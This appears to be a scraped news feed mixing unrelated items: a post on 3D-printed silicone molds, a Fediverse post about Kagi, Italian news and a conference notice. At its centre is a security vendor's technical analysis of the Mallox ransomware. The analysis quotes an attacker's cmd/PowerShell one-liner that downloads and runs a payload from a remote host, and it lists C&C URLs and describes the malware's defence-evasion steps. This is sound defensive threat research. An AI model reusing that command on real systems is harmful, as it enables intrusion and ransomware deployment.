CULTURA. La diaspora palestinese e la parola parlata della poetessa Rafeef Ziadah (Parte 3)
@Notizie dall'Italia e dal mondo
Terza parte dell'articolo sull'artista, attivista per i diritti umani, femminista e accademica che vive a Londra. Rafeef Ziadah ha scritto poesie che si potrebbero definire profetiche.
L'articolo CULTURA. La diaspora
Multi-Material Printing Enables Low Cost Silicone Prototypes
While it’s the ideal choice for mass production, injection molding is simply no good for prototyping. The molds are expensive and time-consuming make, so unless you’ve got the funding to burn tens of thousands of dollars on producing new ones each time you make a tweak to your design, they’re the kind of thing you don’t want to have made until you’re absolutely sure everything is dialed in and ready. So how do you get to that point without breaking the bank?
That’s not always an easy question, but if you’re working with silicone parts, the team at OpenAeros thinks they might have a solution for you. As demonstrated through their OpenRespirator project, the team has developed a method of 3D printing single-use molds suitable for large silicone parts that they’re calling Digital-to-Silicone (D2S).
In the video below, [Aaron] and [Jon] explain that they started off by simply printing injection molds in the traditional style. This worked, but the molds can get quite complex, and the time and effort necessary to design and print them wasn’t a great fit for their iterative development cycle. They wanted to be able to do from design to prototype in a day, not a week.
Eventually they realized that if they printed the mold out of a water-soluble filament, they could simplify its design greatly. They’ve documented the design process in detail, but the short version is that you essentially subtract the 3D model of the design you want to produce from a solid shape in your CAD package, and add a few holes for injecting the silicone. Once the silicone has cured, the mold can be dissolved away in warm water to reveal the finished part.
They then took this concept a step further. Thanks to the multi-material capabilities offered by some of the latest 3D printers, it’s possible to print structures within the mold. Once the silicone is injected, these structures can become part of the finished part. For the OpenRespirator, this lets them add PETG stiffening rings around where the filters to snap into the silicone mask body.
As an added bonus, the video also goes over their method of prototyping pleated filters with 3D printed forms. After inserting the filter media, snap-in arms push it down into the valleys of the form to create the pleats. These are held in place with the addition of small metal rods that are attracted to the magnets embedded into the form. Once the top and bottom of the form have been closed over the filter, silicone is injected to create a ring around the filter and lock everything into place.
We often think of 3D printing as ideal for prototyping, but usually in a very direct and obvious way. You print out a part to see if it works the way you want, and then take the design and have it made out of something stronger. But this presentation from OpenAeros shows just how versatile the technology can be. With even a half-way decent desktop printer, the potential time and cost savings can be enormous. Something to keep in mind should one of your side projects turn into something bigger.
youtube.com/embed/2BCotdFDuuc?…
Mallox ransomware: in-depth analysis and evolution
Mallox is a sophisticated and dangerous family of malicious software that has been causing significant damage to organizations worldwide. In 2023, this ransomware strain demonstrated an uptick in attacks, the overall number of discovered Mallox samples exceeding 700. In the first half of 2024, the malware was still being actively developed, with new versions being released several times a month, while the Mallox RaaS affiliate program advertised on dark web forums was seeking new partners. This article aims to provide a comprehensive technical overview of the ransomware and its history.
Background
Mallox started operating in the first half of 2021, with the first known encryptor sample discovered in May 2021. From the very beginning, this malware was used in human-operated attacks against companies and organizations. The Trojan samples were tailored to each specific victim, with the name of the target company hardcoded in the ransom notes and the extension of the encrypted files. This is why this malware strain is known under many different aliases: the Trojan was not originally named “Mallox”, and each researcher introduced their own moniker for this malware.
In order to illustrate the different names used by Mallox variants throughout the family’s existence, we parsed more than 700 samples and built a table showing the numerous extensions we found in those.
2021 | # of samples | 2022 | # of samples | 2023 | # of samples | 2024 H1 | # of samples |
.architek | 1 | .avast | 1 | .bitenc | 1 | .hmallox | 2 |
.artiis | 1 | .bozon | 3 | .host | 1 | .ma1x0 | 5 |
.brg | 1 | .bozon3 | 1 | .mallab | 223 | .mallox | 21 |
.herrco | 1 | .carone | 1 | .mallox | 210 | .rmallox | 57 |
.mallox | 6 | .consultransom | 2 | .malloxx | 30 | .tif | 1 |
.servimo | 1 | .deviceZz | 1 | .malox | 63 | ||
.tohnichi | 3 | .exploit | 1 | .maloxx | 8 | ||
.explus | 1 | .xollam | 7 | ||||
.FARGO | 1 | ||||||
.FARGO2 | 1 | ||||||
.FARGO3 | 20 | ||||||
.mallox | 100 | ||||||
.prismchigo | 1 | ||||||
.rexiaa | 1 |
In early 2023, SuspectFile published an interview with individuals who claimed to be the threat actors behind Mallox. In the interview, the actor stated that they purchased the source code for the encryption Trojan in 2022. That might mean that it was previously operated by another group, which would explain the change in the naming pattern: from a unique name for each victim to the “Mallox” universal branding.
Most articles and blog posts refer to this strain as Mallox, Tohnichi, Fargo or TargetCompany.
Timeline
Judging by the PE timestamps in the discovered samples, which proved to be unaltered and represent the actual release date of the given sample, there were several spikes in new samples: late 2022, early 2023 and late 2023.
Discovered Mallox samples by PE timestamp (download)
The number of ITW Mallox samples strongly correlates with Kaspersky Security Network (KSN) telemetry. KSN is our cyberthreat-related data processing system, which works with data consensually provided by Kaspersky users. The graph below shows spikes in unique users who encountered the Mallox ransomware in March 2023 and October 2023, which match the previous graph and indicate increased activity by the group during these periods.
Mallox ransomware activity (download)
RaaS promotion
A January 2023 post on the dark web forum RAMP by a user named Mallox promoted a ransomware-as-a-service affiliate program with the same name.
The original ad for Mallox RaaS
The translation of the post is given below.
Mallox is looking for pentesters with their own material to join the team or as partners If you have your own material, we are ready to offer high-quality software and support Features: Terms: IM in Jabber for details: [redacted] |
The ad states that the RaaS owners are looking for “pentesters”, i.e. affiliates willing to search for and infiltrate companies. Priority is given to those affiliates that have already obtained unauthorized access to a lot of organizations and/or large networks. Such partners are offered 80% of the profits, while those without a substantial number of readily available victim networks are invited to work for 70% of the ransom.
The poster emphasizes that they are looking only for long-term relationships with experienced affiliates. They are not interested in wasting their time on novice cybercriminals and do not provide any training. The RaaS representative also stresses that they do not work with English-speaking affiliates.
Another RAMP post by the same user in September 2023 said the group was willing to purchase access credentials to victim networks, most likely to launch ransomware attacks on their own.
Market – Access (SSH/RDP/VNC/Shell) / Ищем поставщика доступов.Сотрудничество\Реализация. Заберем доступы под реализацию. Условия сортудничества – оговариваются лично. – Интересуют доступы: фортики, циско впн и другие. – Revenue от 10kk+ – Юзер в домене. – AD. – Гео US/CA/AU/UK/DE. – Не интересуют: EDU/GOV – Тематика рассматривается индивидуально, госпитали и учебные заведения не иинтересуют. – Работаем честно и четко, поставщик будет иметь доступ к панели и чатам и видеть все на свои глаза. – Если будет постоянный поток ТОП мата , готовы предоставить вам лучшие условия и забрать к себе в приват. Контакты джаббер: [redacted] |
Market – Access (SSH/RDP/VNC/Shell) / Looking for an access provider. Partnership/Purchases. Will buy access credentials for use. Terms to be negotiated in private. – Interested in access to Fortinet VPN, Cisco VPN, etc. – Revenue from 10kk+ – Domain user – AD – Geo: US/CA/AU/UK/DE – Not interested in: EDU/GOV – Industries considered on case-by-case basis. Not interested in hospitals or schools. – We do business honestly and transparently: the seller will have access to the panel and chat to see it all with their own eyes. – If there is a constant flow of TOP material, we are ready to give you the best terms and offer you a private deal. Jabber contact: [redacted] |
This post sheds further light on the Mallox RaaS creators’ business model. They look for wealthy victim companies with revenue of $10 million or more in any of the five listed countries. They also aim to avoid attacking educational, governmental and healthcare organizations.
Statistics on the RaaS affiliates
By analyzing Mallox samples, we were able to determine that starting in 2022, the developers added C&C reporting to their malware. This sends information about each infected computer, but more interestingly, it also appends an affiliate ID string to the Trojan’s HTTP request. We extracted these affiliate IDs from the samples we had obtained and built a data model, which allowed us to investigate the distribution of samples across partners throughout the evolution of the RaaS program.
Affiliate ID string | # of samples |
admin | 72 |
amigosbos9k | 55 |
bitenc | 1 |
bloodbeard | 2 |
caneddy | 1 |
grinder | 10 |
hiervos | 251 |
last | 1 |
lastsmile | 2 |
leandra56 | 1 |
loader | 7 |
maestro | 170 |
mallox | 2 |
Neuroframe | 11 |
panda | 42 |
samuel | 13 |
truetl | 4 |
UserHelp | 4 |
vampir | 65 |
We also analyzed the changes in the distribution of samples across the most active affiliates by year. These changes indicate that after the launch of the RaaS program, it rapidly expanded to reach 16 active affiliates operating 500 samples, and then shrank in the first half of 2024. At the time of writing this post, we observed a total of 19 Mallox RaaS partners.
Also notable is the fact that the original five affiliates that were working with Mallox in 2022 continue to do so in 2024. This might indicate that the core subscribers seem to be satisfied with the program’s terms and prefer it to other options available on the darknet market.
Please note that at the time of writing this report, the data for 2024 was limited to H1.
Mallox samples by affiliate ID
Typical infection scenario
Mallox affiliates are free to choose their methods of compromising victims’ networks. Some of the campaigns we observed involved sending spam with malicious attachments. In another recent campaign in China, the threat actors allegedly exploited a vulnerability in the IP-Guard software for initial access.
While analyzing KSN telemetry, we determined that one of the most common infection vectors used by the attackers was penetrating internet-facing MS SQL or PostgreSQL servers. To achieve this, the threat actors typically either exploit RCE vulnerabilities, such as CVE-2019-1068 or CVE-2020-0618 in unpatched MS SQL server installations, or carry out brute-force or dictionary attacks.
The compromised MS SQL server process executes a command that creates a PowerShell script and launches it using the sqlps command, then starts the first stage portable executable (PE) payload downloaded by the PowerShell script.
cmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]//<ip address>/scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""
This first-stage PE payload in Mallox attacks is typically either a sample of the Remcos RAT subsequently used by the operators for remote access to the compromised network, or a .NET downloader that automatically fetches the second-stage PE payload, which is the encryption Trojan. The .NET downloaders used in this scheme are mostly simplistic and implement a procedure to download a binary from the hardcoded URL, decrypt it with a XOR loop and execute it in memory.
Analysis
Several hundred different samples have been found since the first version of Mallox was discovered. Mallox developers have continued to improve the ransomware and add new features. For convenience, we divided these samples into several different versions. Below, we will perform a detailed analysis of the first and the latest known versions. Moreover, we will provide a comparison table with other known versions to show how the Trojan has evolved, what features have been added and how the cryptographic scheme has changed.
Earliest known Mallox version (9b772efb921de8f172f21125dd0e0ff7, v1)
This sample was discovered in mid-May 2021 and is the first discovered executable file belonging to the Mallox ransomware family. It is considered to be the original Mallox version. We have found several samples of this version with various extensions and notes that contain explicit names of the victim organizations. This is one of the few variants of Mallox that support debug logging, which outputs errors and other information about the encryption process to the console. In later versions, the logging functionality was removed or excluded from the release build.
The ransom note left behind by the original Mallox version looks typical of ransomware: it contains a unique victim identifier, conditions for file decryption, a threat to publish stolen data and the address of the negotiators’ website on the Tor network. To demonstrate their ability to decrypt files, the attackers offer to decrypt several test files that do not contain important data. In this version, the victim organization’s name is explicitly indicated inside the note.
Mallox ransom note from the original version
Preparing for encryption
Before encrypting files on the device, the ransomware performs several preparatory steps. First, it checks the language settings of the victim’s operating system. The ransomware immediately terminates if a Russian, Kazakh, Tatar, Belarusian or Ukrainian language identifier is set. Developers of malware typically do this if they hope to avoid prosecution in the countries where the languages are spoken. However, in the interview published in January 2023, a Mallox representative said of these restrictions, “This is due to the developer’s own decision to restrict our operations in those regions. We have no prejudices or preferences in which countries to work”. In the same interview, they claim that the project’s code previously had been used by other ransomware groups and subsequently purchased by the current threat actors. This means that early samples may not be linked to the current owners of Mallox, or that several independent groups may be using these.
If the default language of the operating system is not on the exclusion list, the ransomware process obtains the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges. Next, it removes the keys and values from the registry using the WinAPI function SHDeleteKeyW, apparently to counter system defenses.
After that, Mallox deletes the shadow copies using the vssadmin.exe utility and completely disables Windows Recovery Environment.
Drives enumeration and exclusions
Mallox encrypts data on all drives from A through Z if these have the following types: DRIVE_REMOTE, DRIVE_REMOVABLE or DRIVE_FIXED. It also supports text files containing paths for encryption via the command-line arguments, such as “-p” and “-d”. If the argument “-d <text_file_path>” is set, the ransomware encrypts only the paths in the text file and does not encrypt the device’s drives recursively. If the argument “-p <text_file_path>” is set, it first encrypts the paths in the text file and only then, the data on local drives. The full list of file path arguments accepted by the original version of Mallox is provided below.
Argument | Description |
-d <path> | Expects a path to the text file, encrypts only the paths in the file. |
-p <path> | Expects a path to the text file, first encrypts the paths in the file and only then the drives. |
-l <path> | Expects a path to the text file. It was not noticed that it affected anything. |
To calculate the count of threads that will be used to encrypt files, Mallox uses the WinAPI function GetSystemInfo. It gets the dwNumberOfProcessors value from this function and doubles it. However, the count of threads is limited to 64 and cannot exceed this value.
Mallox supports allowlist functionality. Lists of extensions, folder names and file names which must not be encrypted are embedded into the ransomware. The folder names include the names of the operating system folders and certain widely known applications. One of the interesting names among the exception files is “debugLog.txt”, which is presumably used for debugging purposes.
Below is pseudocode for iterating through drives, which is done if the “-d” argument is not set. The code shows that Mallox can use two different directory and file iterating methods: manual NTFS parsing and File Management Functions (WinAPI).
Drive search code for encryption
Cryptography
Mallox implements a convoluted encryption scheme consisting of several cryptographic algorithms.
Every time Mallox starts, it generates a new user private ECC (elliptic curve) key to be used with ECDH (Elliptic-curve Diffie–Hellman key agreement protocol on the Curve25519). To generate this private key, the ransomware uses the pseudorandom number generator Mersenne Twister, the seed for which is generated using the WinAPI function CryptGenRandom. If there are problems with initializing the Cryptographic Service Provider (CryptGenRandom cannot be used), then the seed is generated via a set of functions: QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, and the __rdtsc instruction. The outputs of these functions are multiplied and used as a Mersenne Twister seed.
Mersenne Twister seed generation
The generated ECC private key is 32 bytes in size. From this private key, the Trojan generates a corresponding user ECC public key. The Trojan then calculates a shared secret using the Elliptic-curve Diffie–Hellman key agreement protocol (ECDH) from the user ECC private key and the attacker’s master ECC public key that is hardcoded in the Trojan’s body. The user ECC private key is not stored anywhere, and the user ECC public key is added to each encrypted file and is necessary for attackers to recalculate the shared secret.
In the picture below, the first call to the curve25519 function generates a user public key, and the next call generates a shared key, which is then hashed with SHA-256.
Code for generating a shared secret
The first six bytes of the user ECC public key in hexadecimal form are used as the unique identifier of the victim, referred to as “personal identifier” in the note. It is generated uniquely each time the ransomware starts and does not depend on the device, so the identifier will change with each new run.
Files that are not on the allowlists are encrypted with the ChaCha20 stream cipher. The file key and nonce for ChaCha are encrypted using the symmetric encryption algorithm AES-128 in CTR mode. The key for AES is the first half of the SHA-256 hash of the shared secret obtained previously by using the ECDH protocol.
Files smaller than or equal to 10240 bytes are encrypted in their entirety. Larger files are encrypted using a stripe method: the file is broken down into 100 pieces, each further divided into 100 chunks. Each of the resulting chunks is encrypted with ChaCha. If the chunk size is less than 4096 bytes, the malware expands its size to 4096 bytes prior to encryption.
At the end of each encrypted file, Mallox appends a structure we will designate as a “technical buffer”, which stores the information necessary to decrypt the file. The Mallox sample in question has a minimalistic buffer that contains only an encrypted key and nonce for ChaCha, IV for AES, and the user’s ECC public key. The latter is intended to be used by attackers to recover the shared secret and calculate its SHA-256 hash, the first half of which is the encryption key for AES-128 CTR, and, along with IV, is necessary to decrypt the ChaCha key and nonce.
In the picture below, the ChaCha key and nonce are shown in red, AES CTR in blue, and the public user ECC key in orange.
“Technical buffer” structure saved at the end of the file
After the encryption is complete, the executable file is deleted via the “del” command.
Communication with the attackers’ C&C server
Before starting the file encryption process starts, Mallox sends the following information about the infected device to the attacker’s server using an HTTP POST request: the victim’s unique identifier obtained from the public key, the local computer name and the DNS name of the primary domain determined via a call to LsaQueryInformationPolicy with the PolicyDnsDomainInformation parameter.
After the encryption is completed, the ransomware sends a request to the attacker’s server again, with the victim’s ID and information about the encrypted disks.
Recent Mallox version (e98b3a8d2179e0bd0bebba42735d11b7, v12)
This is one of the most recent versions of the Mallox ransomware, found in March 2024. Below, we provide an analysis of this version, but the main purpose of the analysis is to show the difference between the first and the recent versions.
Compared to the original version of Mallox, one of the significant changes that occurred in later versions concerned the format of the note. The original version explicitly showed the name of the attacked company and device, but later versions more often had a generic note and extensions.
New arguments
Argument | Description |
-path <path> | Does not work in this version. Expects a path to encrypt. |
-queue <integer> | Does not work in this version. Expects an integer value. |
Two new arguments have been added compared to the first version, but none of the new or old arguments work in this variant. Any arguments passed via the command line are in fact checked for existence through the PathFileExistsW function, so the ransomware apparently only accepts file paths as arguments: “mallox.exe <path1> <path2>…. <pathN>”.
Any arguments that are not paths, including “-p”, “-d”, “-l”, “-path”, “-queue”, result in an error. If the correct paths are passed, the ransomware checks whether it is running with administrative privileges and, if so, it encrypts the files at these paths. If running without administrator permissions, it attempts to elevate its privileges by restarting using ShellExecuteW with the verb runas, used to run the application as the administrator.
Preparing for encryption
Mallox sets the computer’s power scheme to High Performance, obviously in order to increase the performance and speed of the encryption process.
Pseudocode to change the power scheme
In this version, the Trojan contains a new function for terminating active processes via the TerminateProcess WinAPI function so as to keep them from blocking user files or interfering with the encryption process. The list of terminable process names refers mainly to databases, such as SQL Server, Oracle Database, Pervasive PSQL and MySQL.
Another new feature concerns services: the Trojan uses the Service Control Manager to disable and stop services using the ChangeServiceConfig and ControlService functions.
If the user tries to shut down or restart the operating system, Mallox attempts to prevent this. Using the ShutdownBlockReasonCreate function, the ransomware makes the OS display a threatening message about the possibility of file damage unless the user aborts the shutdown or reboot.
Threat message about file damage
Before starting encryption, the Trojan modifies the registry keys of the HKEY_LOCAL_MACHINE hive to disable UAC and hide the Shut Down, Restart and Sign Out buttons.
Cryptography
The key generation scheme in the recent version shows significant changes. Presumably, the algorithm was altered by the Mallox developers in an attempt to fix vulnerabilities that allowed decrypting victims’ files without the attackers’ private key in earlier versions of the malware.
In this latest version, three values embedded in the code are used to generate a shared secret: two public ECC master keys (master_public_key_1, master_public_key_2) generated on the attacker’s side and a hardcoded 12-byte array. The resulting new scheme is presented below:
- When the Trojan starts, it generates 56 random bytes via CTR_DRBG.
- Twelve bytes in the middle of this 56-byte array are replaced with the hardcoded bytes.
- The resulting 56 bytes are hashed with SHA-256.
- Using ECDH (curve25519) with the result of hashing and master_public_key_1, the Trojan generates a user_private_key.
- Using ECDH (curve25519) with the user_secret_key and the elliptic curve base point, the Trojan generates a user_public_key.
- Finally, again, using ECDH (curve25519) with user_secret_key and master_public_key_2, the Trojan generates a share_key shared secret.
- Later, this share_key is hashed with SHA-256.
Below is a simplified diagram of this.
Key generation scheme in the most recent Mallox version
The file encryption algorithm has also changed: now files are encrypted using AES-256 in GCM mode. File keys are generated with ISAAC PRNG, seeded by the output of the BCryptGenRandom API function combined with Mersenne Twister PRNG. The file keys, as before, are encrypted using AES-128 in CTR mode, and the key for that is still the first half of the SHA-256 hashed share_key.
The technical buffer added at the end of each encrypted file has been expanded. Its beginning and end are indicated by the markers 0x02010201 and 0x04030403, shown in green in the image below. In this version, the ransomware encrypts the first 60% of the file — the total number of encrypted file chunks is shown in pink. Compared to the original version, the chunks have a size of 0x800000 bytes, are located next to each other and are encrypted entirely without further division. Purple stands for the size of the original file, red for the encrypted file key and IV for AES-256-GCM. The blue part is IV for AES-128-CTR, which is used to encrypt file keys. The orange part is the user_public_key.
“Technical buffer” structure saved at the end of the file in the latest Mallox version
Communication with the attackers’ C&C server
First, the ransomware gets the external IP address of the encrypted device via a third-party public service. Then it collects information about the user, device, network, disks and files and sends it to the attacker’s C&C server with an HTTP POST request.
Data sent to the attacker’s C&C
If all data is received and processed successfully, the server responds with “Successfully_added”.
Timeline of Mallox versions
We have been tracking a large number of samples since the very first version of Mallox appeared in 2021. During this time, more than 700 different samples have been found, which we have divided into 12 versions for convenience. This division is based on changes in ransomware functionality or cryptography. Please note that the Trojan samples do not contain any version numbers internally. In the tables below, we provide a brief description of changes introduced in each Mallox version along with the MD5 of one of the samples belonging to this version.
Sample hash (MD5) | Version | PE timestamp | Comment |
9b772efb921de8f172f21125dd0e0ff7 | 1 | 15 May 2021 | Earliest found version |
79b60f8b5052a9d4cc0c92c2cdc47485 | 2 | 20 Nov 2021 | The notes became generic, presumably as an initial step in a transition to RaaS distribution. |
e713f05a62914496eef512a93a611622 | 3 | 17 Feb 2022 | Fixed a vulnerability in the encryption scheme that allowed files to be decrypted without the attackers’ private keys. |
3829a09bca120206883539eb33d55311 | 4 | 9 May 2022 | Disabled self-spreading. The vulnerability is still fixed. |
a8e214683307adaff39783dc656b398a | 5 (gen) | 10 Jun 2022 | Removed the vulnerability fix introduced in version 3. Added a new public key generation scheme using data from the device — we refer to this scheme as “generated key”. Added a new “-path” argument. Enabled self-spreading again. |
ac1a255e5c908f12ef68a45fc0043b16 | 6 (emb) | 17 Jul 2022 | Removed the vulnerability fix introduced in version 3. Added a new public key generation scheme, using an embedded key — we refer to this scheme as “embedded key”. |
Starting with versions 5 and 6, all the subsequent versions through 11 were divided into two key generation schemes: “generated key” (gen) and “embedded key” (emb). These versions were used in parallel, and if some changes were made to one of these variants, then the other variant with the same changes would soon appear, sometimes on the same day. Later in this report, we will describe both methods in detail.
Hash (MD5) | Version | PE timestamp | Comment |
b1b42fa300d8f43c6deb98754caf0934 | 7 (gen) | 25 Oct 2022 | Added registry modification functions and an OS shutdown message. Completed the transition to a RaaS distribution scheme with support for affiliate IDs hardcoded in the Trojan’s body and reported to C&C via the HTTP parameter “user=”. |
3762f98a55f0ec19702f388fc0db74e2 | 8 (emb) | 31 Oct 2022 | Similar to the previous one, but with a different key generation scheme. |
6bd93817967cdb61e0d7951382390fa0 | 9 (gen) | 18 Apr 2023 | Added a new argument: “-queue”. |
c494342b6c84f649dece4df2d3ff1031 | 10 (emb) | 18 Apr 2023 | Similar to the previous one, but with a different key generation scheme. |
16e708876c32ff56593ba00931e0fb67 | 11 (emb) | 25 Sep 2023 | Switched to an x64 version: later versions are also x64, while all earlier versions were x86. Added new features: power scheme, disabling UAC, hiding Shutdown/Reboot/Sign out buttons, etc. Switched to a new format for arguments: requires valid file paths as arguments. Also, instead of ChaCha, file content is now encrypted with AES-256-GCM. |
d32a3478aad766be96f0cdbda1f10091 | 11 (gen) | 26 Sep 2023 | Similar to the previous one, but with a different key generation scheme. |
e98b3a8d2179e0bd0bebba42735d11b7 | 12 | 6 Mar 2024 | Fixed a vulnerability in the key generation schemes by adopting a new, cryptographically secure scheme. Added the cryptographic random number generator CTR_DRBG (AES based). |
There is one version that stands out from this classification. We dubbed it 1F. The only two samples belonging to this version were discovered in June 2023 and February 2024. Despite the discovery dates, they are almost exactly the same as the first version, but with a fixed vulnerability in the cryptographic scheme. What is curious, this fix differs from the convoluted encryption schemes seen in versions 3, 4 and 12. Instead, it is a small local fix using the cryptographically secure SystemFunction036 (RtlGenRandom) function for seed generation.
Hash (MD5) | Version | PE timestamp | Comment |
98c7f6b6ddf6a01adb25457e9a3c52b8 | 1F | 5 Jun 2023 | Fixed a vulnerability in the version 1 key generation scheme using RtlGenRandom. |
b13a1e9c7ef5a51f64a58bae9b508e62 | 1F | 23 Feb 2024 | Exactly the same as the previous one. |
Cryptographic scheme in v5 and above: the “generated key” variant
This scheme uses data from the device to populate an array with a maximum size of 56 bytes, from which a user ECC private key is obtained. The array is generated based on the functions GetVolumeInformationW, GetFileTime, GetComputerNameA, and the CPUID instruction.
Bytes count | Entropy source | Comment |
4 | GetVolumeInformationW | |
16 | __cpuid | |
12 | Embedded in code | Varies between samples |
8 | GetFileTime | |
<= 16 | GetComputerNameA | Can be less than 16 bytes |
The rest of the scheme contains three curve25519 calls, similar to the recent version (12), but unlike that, the scheme described in this paragraph is not cryptographically secure.
Shared key generation, “generated key”, v5+
Cryptographic scheme in v6 and above: the “embedded key” variant
In this case, no random value generation is used to calculate the shared secret share_key. The user_private_key is hardcoded in the Trojan’s body, and the rest of the scheme has not changed compared to the first version. This is also a cryptographically non-secure scheme.
Shared key generation, “embedded key”, v5+
Negotiation portal and DLS (data leak site)
When encrypting a victim’s files Mallox creates a ransom note commonly named “HOW TO BACK FILES.txt”, “HOW TO RESTORE FILES.txt”, “RECOVERY INFORMATION.txt”, “FILE RECOVERY.txt” or some such. In the note, the threat actors instruct the victim about the ways to communicate with the attackers to negotiate the ransom payment: by visiting a specified TOR site (negotiation portal) and logging in with the victim ID, or by sending an email message to a specified address.
Upon authenticating with the negotiation portal, the victim is presented with a page containing information about their infection case:
- Status: whether the exfiltrated data has been published
- Ransom price in USD and BTC
- Payment addresses for BTC and TETHER TRC-20
- Answers to frequently asked questions
- Chat widget to talk to the ransomware operator
Negotiation portal (victim page)
The main page of the Mallox data leak site, which resides on the same domain as the negotiation portal, contains the list of victim companies. Countdown timers indicate the remaining time until the stolen data from each company is published in case the victim fails to pay up.
Mallox data leak site: the home page
The information about the companies that apparently refused to cooperate is provided on a new page when the user clicks “View”. This page lists some details, such as the victim’s approximate revenue, the total volume of stolen data, links to download archives allegedly containing some or all of the exfiltrated files, and the password to unpack the archives.
Page with victim company details
For additional publicity and promotion of their affiliate program, the Mallox threat actors maintain an X account that posts regular updates about the group’s new victims and shares links to download new portions of stolen data.
Victims
The geographical distribution of unique KSN users who encountered the Mallox ransomware shows that the affiliates of the RaaS do not restrict their activities to a specific country and apparently aim to attack vulnerable companies anywhere these are located. That being said, some regions tend to be a more desirable target for Mallox extortionists. The countries that have attracted the most infection attempts are Brazil, Vietnam and China.
Geographical chart of Mallox attack attempts (download)
Conclusions
Our report provides a comprehensive overview of the Mallox ransomware, its characteristics, the history of its evolution, and the potential impact it can have on victims. By understanding the nature of Mallox ransomware and implementing appropriate security measures, companies and organizations can better safeguard their digital assets and minimize the risk of falling victim to this malicious software.
Our recommendations for maximizing your organization’s security:
- Do not expose remote desktop services, such as RDP, to public networks unless absolutely necessary, and always use strong passwords.
- Make sure commercial VPN solutions and other server-side software are always up to date as exploitation of this type of software is a common ransomware infection vector. Always keep client-side applications up to date.
- Focus your defense strategy on detecting lateral movements and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections. Back up data regularly. Make sure you can quickly access it in an emergency. Use the latest Threat Intelligence information to stay up to date on the latest TTPs used by threat actors.
- Use Managed Detection and Response services to help identify and stop an attack in the early stages, before the attackers achieve their ultimate goals.
- To protect the corporate environment, educate your employees. Dedicated training courses can help, such as those provided in the Kaspersky Automated Security Awareness Platform.
- Use complex security solutions, combining endpoint protection and automated incident response features, such as Kaspersky NEXT.
IoC
MD5
9b772efb921de8f172f21125dd0e0ff7
79b60f8b5052a9d4cc0c92c2cdc47485
e713f05a62914496eef512a93a611622
3829a09bca120206883539eb33d55311
a8e214683307adaff39783dc656b398a
ac1a255e5c908f12ef68a45fc0043b16
b1b42fa300d8f43c6deb98754caf0934
3762f98a55f0ec19702f388fc0db74e2
6bd93817967cdb61e0d7951382390fa0
c494342b6c84f649dece4df2d3ff1031
16e708876c32ff56593ba00931e0fb67
d32a3478aad766be96f0cdbda1f10091
e98b3a8d2179e0bd0bebba42735d11b7
98c7f6b6ddf6a01adb25457e9a3c52b8
b13a1e9c7ef5a51f64a58bae9b508e62
URLs
91.215.85.142%2FQWEwqdsvsf%2Fap.php
whyers.io%2FQWEwqdsvsf%2Fap.php
Welcome to Kagi, the paid search engine full of surprises, which today opened an account in the Fediverse!
@Kagi HQ is the very interesting project for a paid search engine, without tracers and with an accuracy in identifying results such as to exclude all Google spam.
Those who believe that #Kagi's costs are too high, should reflect on a small detail: if Google lets all those searches be done "for free", who pays those costs? The answer might seem simple: "advertisers".
Yet this would be an incomplete answer: like saying that rain is caused by clouds!
In reality, those costs are paid by users, by being milked and letting Google extract their "value", a bit like in the human farm in Matrix...
We first heard about Kagi on the @Le Alternative website (unfortunately, since then the prices have increased a lot, raising many doubts about the sustainability of the project) and recently Cory Doctorow also talked about it on @Cory Doctorow AFK TIL MID-SEPT
In any case, we are really happy that a service like Kagi's, effective and respectful of users' privacy, has landed here in the #Fediverse.
Diamo il benvenuto a Kagi, il motore di ricerca a pagamento e pieno di sorprese, che oggi è entrato nel Fediverso!
@Kagi HQ è l'interessantissimo progetto per un motore di ricerca a pagamento, senza traccianti e con un'accuratezza nell'individuazione dei risultati tale da escludere tutto lo spam di Google.
Chi crede che i costi di #Kagi siano troppo elevati, dovrebbe riflettere su un piccolo dettaglio: se Google lascia fare "gratis" tutte quelle ricerche, chi paga quei costi? La risposta potrebbe sembrare semplice: "gli inserzionisti".
Eppure questa sarebbe una risposta incompleta: come dire che la pioggia è causata dalle nuvole!
In realtà quei costi li pagano gli utenti, facendosi mungere e lasciando che Google estragga il loro "valore", un po' come nella human farm di Matrix...
Abbiamo sentito parlare di Kagi per la prima volta sul sito de @Le Alternative (purtroppo da allora i prezzi sono aumentati molto, facendo sorgere molti dubbi sulla sostenibilità del progetto) e recentemente ne ha parlato anche Cory Doctorow su @Cory Doctorow AFK TIL MID-SEPT.
In ogni caso siamo davvero contenti che un servizio come quello di Kagi, efficace e rispettoso della privacy degli utenti, sia approdato qui nel #Fediverso
mastodon.social/@kagihq/113074…
Mastodon
The original server operated by the Mastodon gGmbH non-profitMastodon hosted on mastodon.social
perché non usare DuckDuckGo? Privacy senza compromessi.
In alternativa c'è anche il browser Brave
Poliverso - notizie dal Fediverso ⁂ likes this.
Poliverso - notizie dal Fediverso ⁂ reshared this.
@MuhammadPython perché onestamente con duckduck go non si riesce a trovare mai una mazza... 😅
Ci sono diversi servizi che integrano motori di ricerca esistenti e in alcuni casi aggiungono un proprio sistema, ma un aspetto importante di Kagi è che le ricerche mostrano davvero quello che hai chiesto. Sembra banale, ma oggi non lo è più tanto perché quando fai una ricerca su un qualsiasi motore di ricerca o carichi una vagonata di letame da cui spulciare quello che ti serve, oppure trovi pochi risultati rilevanti.
Caso Sangiuliano, Boccia pubblica una telefonata e tre mail del MiC sulla sua nomina e sui biglietti per i viaggi col ministro
@Politica interna, europea e internazionale
Maria Rosaria Boccia continua a pubblicare sui social documenti che mettono in imbarazzo il ministro della Cultura Gennaro Sangiuliano. Gli ultimi in ordine di tempo sono un file audio e alcuni screenshot dai quali si
Red Hot Cyber Conference 2025. La Quarta edizione a Roma l’8 e il 9 Maggio
La Red Hot Cyber Conference è l’appuntamento gratuito annuale, creato dalla community di RHC, per far accrescere l’interesse verso le tecnologie digitali, l’innovazione e la consapevolezza del rischio informatico verso tutte le persone.
La nuova edizione della RHC Conference 2025 si svolgerà a Roma, nella stessa location dell’anno precedente, i Teatro italia nei giorni giovedì 8 e venerdì 9 maggio 2025. Il Teatro Italia si trova in Via Bari, 18 00161 Roma e può ospitare fino ad 800 persone. La location risulta distante:
